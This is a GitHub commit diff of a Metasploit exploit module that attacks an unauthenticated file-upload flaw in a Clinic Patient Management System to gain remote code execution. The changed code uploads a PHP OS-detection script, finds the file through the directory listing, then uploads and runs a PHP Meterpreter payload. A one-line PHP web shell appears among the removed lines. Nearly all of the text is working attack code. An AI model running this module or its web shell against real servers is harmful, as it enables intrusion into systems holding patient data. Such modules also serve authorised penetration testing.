Skip to content

Commit eb5385a

Browse files
committed
msftidy & Rubocop Fixes
1 parent 08519de commit eb5385a

File tree

1 file changed

+113
-36
lines changed

1 file changed

+113
-36
lines changed

modules/exploits/multi/http/clinic_pms_fileupload_rce.rb

Lines changed: 113 additions & 36 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,7 @@
66
class MetasploitModule < Msf::Exploit::Remote
77
Rank = ExcellentRanking
88
include Msf::Exploit::Remote::HttpClient
9+
include Msf::Exploit::PhpEXE
910

1011
def initialize(info = {})
1112
super(
@@ -46,85 +47,168 @@ def initialize(info = {})
4647

4748
register_options([
4849
OptString.new('TARGETURI', [true, 'Base path to the Clinic Patient Management System', '/pms']),
49-
OptString.new('PHP_PAYLOAD', [false, 'Custom PHP payload to upload', "<?php echo shell_exec($_GET['cmd']); ?>"]),
5050
OptInt.new('LISTING_DELAY', [true, 'Time to wait before retrieving directory listing (seconds)', 2])
5151
])
5252
end
5353

5454
def check
5555
print_status('Checking if target is vulnerable...')
5656

57-
# Check for /pms/users.php endpoint availability
58-
print_status('Testing /pms/users.php for upload functionality...')
59-
res_users = send_request_cgi({
57+
# Step 1: Retrieve PHPSESSID
58+
vprint_status('Fetching PHPSESSID from the server...')
59+
res_session = send_request_cgi({
6060
'uri' => normalize_uri(target_uri.path, 'users.php'),
6161
'method' => 'GET'
6262
})
6363

64-
if res_users && res_users.code == 200 && res_users.body.include?('<form')
65-
print_good('/pms/users.php endpoint is accessible!')
66-
else
67-
print_error('/pms/users.php endpoint is not accessible.')
64+
unless res_session && res_session.code == 302 && res_session.get_cookies
65+
print_error('Failed to retrieve PHPSESSID. Target may not be vulnerable.')
66+
return CheckCode::Safe
67+
end
68+
69+
phpsessid = res_session.get_cookies.match(/PHPSESSID=([^;]+)/)[1]
70+
vprint_good("Obtained PHPSESSID: #{phpsessid}")
71+
72+
# Step 2: Attempt File Upload
73+
dummy_filename = "#{Rex::Text.rand_text_alphanumeric(8)}.txt"
74+
dummy_content = Rex::Text.rand_text_alphanumeric(20)
75+
dummy_name = Rex::Text.rand_text_alphanumeric(6)
76+
post_data = Rex::MIME::Message.new
77+
post_data.add_part(dummy_name, nil, nil, 'form-data; name="display_name"')
78+
post_data.add_part(dummy_name, nil, nil, 'form-data; name="user_name"')
79+
post_data.add_part(dummy_name, nil, nil, 'form-data; name="password"')
80+
post_data.add_part(dummy_content, 'text/plain', nil, "form-data; name=\"profile_picture\"; filename=\"#{dummy_filename}\"")
81+
post_data.add_part('', nil, nil, 'form-data; name="save_user"')
82+
83+
vprint_status("Uploading dummy file #{dummy_filename}...")
84+
res_upload = send_request_cgi({
85+
'uri' => normalize_uri(target_uri.path, 'users.php'),
86+
'method' => 'POST',
87+
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
88+
'data' => post_data.to_s,
89+
'cookie' => "PHPSESSID=#{phpsessid}"
90+
})
91+
92+
unless res_upload && res_upload.code == 302
93+
print_error('File upload attempt failed. Target may not be vulnerable.')
6894
return CheckCode::Safe
6995
end
96+
vprint_good('Dummy file uploaded successfully.')
7097

71-
# Check if directory listing is enabled on /pms/user_images
72-
print_status('Checking for directory listing on /pms/user_images...')
98+
# Step 3: Verify File in Directory Listing
99+
vprint_status('Verifying uploaded file in /pms/user_images...')
73100
res_listing = send_request_cgi({
74101
'uri' => normalize_uri(target_uri.path, 'user_images/'),
75-
'method' => 'GET'
102+
'method' => 'GET',
103+
'cookie' => "PHPSESSID=#{phpsessid}"
76104
})
77105

78-
if res_listing && res_listing.code == 200 && res_listing.body.include?('<a href="')
79-
print_good('Directory listing is enabled on /pms/user_images!')
106+
if res_listing && res_listing.code == 200 && res_listing.body.include?(dummy_filename)
107+
vprint_good("File #{dummy_filename} found in /pms/user_images. Target is vulnerable!")
80108
return CheckCode::Vulnerable
81109
else
82-
print_error('Directory listing is not enabled on /pms/user_images.')
110+
vprint_error("File #{dummy_filename} not found in /pms/user_images. Target may not be vulnerable.")
83111
return CheckCode::Appears
84112
end
85113
end
86114

87115
def upload_shell
88116
random_user = Rex::Text.rand_text_alphanumeric(8)
89117
random_password = Rex::Text.rand_text_alphanumeric(12)
90-
filename = Rex::Text.rand_text_alphanumeric(8) + '.php'
118+
detection_basename = Rex::Text.rand_text_alphanumeric(8).to_s
119+
detection_filename = "#{detection_basename}.php"
91120

92-
# Generate the PHP Meterpreter payload
93-
print_status('Generating PHP Meterpreter payload...')
94-
payload_content = payload.encoded
121+
# Step 1: Detect the OS
122+
detection_script = <<~PHP
123+
<?php
124+
echo PHP_OS . "\\n";
125+
?>
126+
PHP
95127

128+
vprint_status("Uploading OS detection script as #{detection_filename}...")
96129
post_data = Rex::MIME::Message.new
97130
post_data.add_part(random_user, nil, nil, 'form-data; name="display_name"')
98131
post_data.add_part(random_user, nil, nil, 'form-data; name="user_name"')
99132
post_data.add_part(random_password, nil, nil, 'form-data; name="password"')
100-
post_data.add_part(payload_content, 'application/x-php', nil, "form-data; name=\"profile_picture\"; filename=\"#{filename}\"")
133+
post_data.add_part(detection_script, 'application/x-php', nil, "form-data; name=\"profile_picture\"; filename=\"#{detection_filename}\"")
101134
post_data.add_part('', nil, nil, 'form-data; name="save_user"')
102135

103-
print_status("Uploading PHP Meterpreter payload as #{filename}...")
104-
print_status("Using random username: #{random_user}")
105-
print_status("Using random password: #{random_password}")
106-
107136
res = send_request_cgi({
108137
'uri' => normalize_uri(target_uri.path, 'users.php'),
109138
'method' => 'POST',
110139
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
111140
'data' => post_data.to_s
112141
})
113142

114-
if res
115-
print_status("Server response: #{res.code} #{res.message}")
116-
print_status("Response body: #{res.body[0, 500]}") # Limit to 500 chars
143+
fail_with(Failure::UnexpectedReply, 'Failed to upload OS detection script') unless res && res.code == 302
144+
vprint_good('OS detection script uploaded successfully!')
145+
146+
# Step 2: Retrieve the actual uploaded filename
147+
vprint_status('Retrieving directory listing to identify detection script...')
148+
sleep datastore['LISTING_DELAY']
149+
150+
res_listing = send_request_cgi({
151+
'uri' => normalize_uri(target_uri.path, 'user_images/'),
152+
'method' => 'GET'
153+
})
154+
155+
fail_with(Failure::UnexpectedReply, 'Failed to retrieve directory listing') unless res_listing && res_listing.code == 200
156+
157+
matches = res_listing.body.scan(/<a href="(\d+#{Regexp.escape(detection_basename)}\w*\.php)"/)
158+
fail_with(Failure::NotFound, 'Uploaded OS detection script not found in directory listing') if matches.empty?
159+
160+
actual_detection_filename = matches.first.first
161+
vprint_status("Detected script filename: #{actual_detection_filename}")
162+
163+
# Step 3: Execute the detection script
164+
detection_url = normalize_uri(target_uri.path, 'user_images', actual_detection_filename)
165+
vprint_status("Executing OS detection script at #{detection_url}...")
166+
res = send_request_cgi({
167+
'uri' => detection_url,
168+
'method' => 'GET'
169+
})
170+
171+
fail_with(Failure::UnexpectedReply, 'Failed to execute OS detection script') unless res && res.code == 200
172+
detected_os = res.body.strip.downcase
173+
print_status("Detected OS: #{detected_os}")
174+
175+
# Step 4: Choose payload based on OS
176+
if detected_os.include?('win')
177+
payload_content = get_write_exec_payload
178+
print_status('Target is Windows. Using standard PHP Meterpreter payload.')
117179
else
118-
fail_with(Failure::UnexpectedReply, 'No response received from the server')
180+
payload_content = get_write_exec_payload(unlink_self: true)
181+
print_status('Target is Linux/Unix. Using PHP Meterpreter payload with unlink_self.')
119182
end
120183

184+
# Step 5: Upload the payload
185+
payload_basename = Rex::Text.rand_text_alphanumeric(8).to_s
186+
payload_filename = "#{payload_basename}.php"
187+
print_status("Uploading PHP Meterpreter payload as #{payload_filename}...")
188+
189+
post_data = Rex::MIME::Message.new
190+
random_user = Rex::Text.rand_text_alphanumeric(8)
191+
random_password = Rex::Text.rand_text_alphanumeric(12)
192+
post_data.add_part(random_user, nil, nil, 'form-data; name="display_name"')
193+
post_data.add_part(random_user, nil, nil, 'form-data; name="user_name"')
194+
post_data.add_part(random_password, nil, nil, 'form-data; name="password"')
195+
post_data.add_part(payload_content, 'application/x-php', nil, "form-data; name=\"profile_picture\"; filename=\"#{payload_filename}\"")
196+
post_data.add_part('', nil, nil, 'form-data; name="save_user"')
197+
198+
res = send_request_cgi({
199+
'uri' => normalize_uri(target_uri.path, 'users.php'),
200+
'method' => 'POST',
201+
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
202+
'data' => post_data.to_s
203+
})
204+
121205
fail_with(Failure::UnexpectedReply, 'Failed to upload PHP payload') unless res && res.code == 302
122206
print_good('Payload uploaded successfully!')
123-
filename
207+
payload_filename
124208
end
125209

126210
def fetch_uploaded_filename
127-
print_status('Retrieving directory listing from /pms/user_images...')
211+
vprint_status('Retrieving directory listing from /pms/user_images...')
128212
sleep datastore['LISTING_DELAY'] # Allow time for the file to be saved on the server
129213

130214
res = send_request_cgi({
@@ -149,14 +233,7 @@ def execute_shell(uploaded_file)
149233
send_request_cgi({
150234
'uri' => shell_url,
151235
'method' => 'GET'
152-
# 'vars_get' => { 'cmd' => 'id' }
153236
})
154-
155-
# if res && res.code == 200
156-
# print_good("Command executed successfully! Output:\n#{res.body}")
157-
# else
158-
# fail_with(Failure::UnexpectedReply, 'Failed to execute the uploaded shell')
159-
# end
160237
end
161238

162239
def exploit

0 commit comments

Comments
 (0)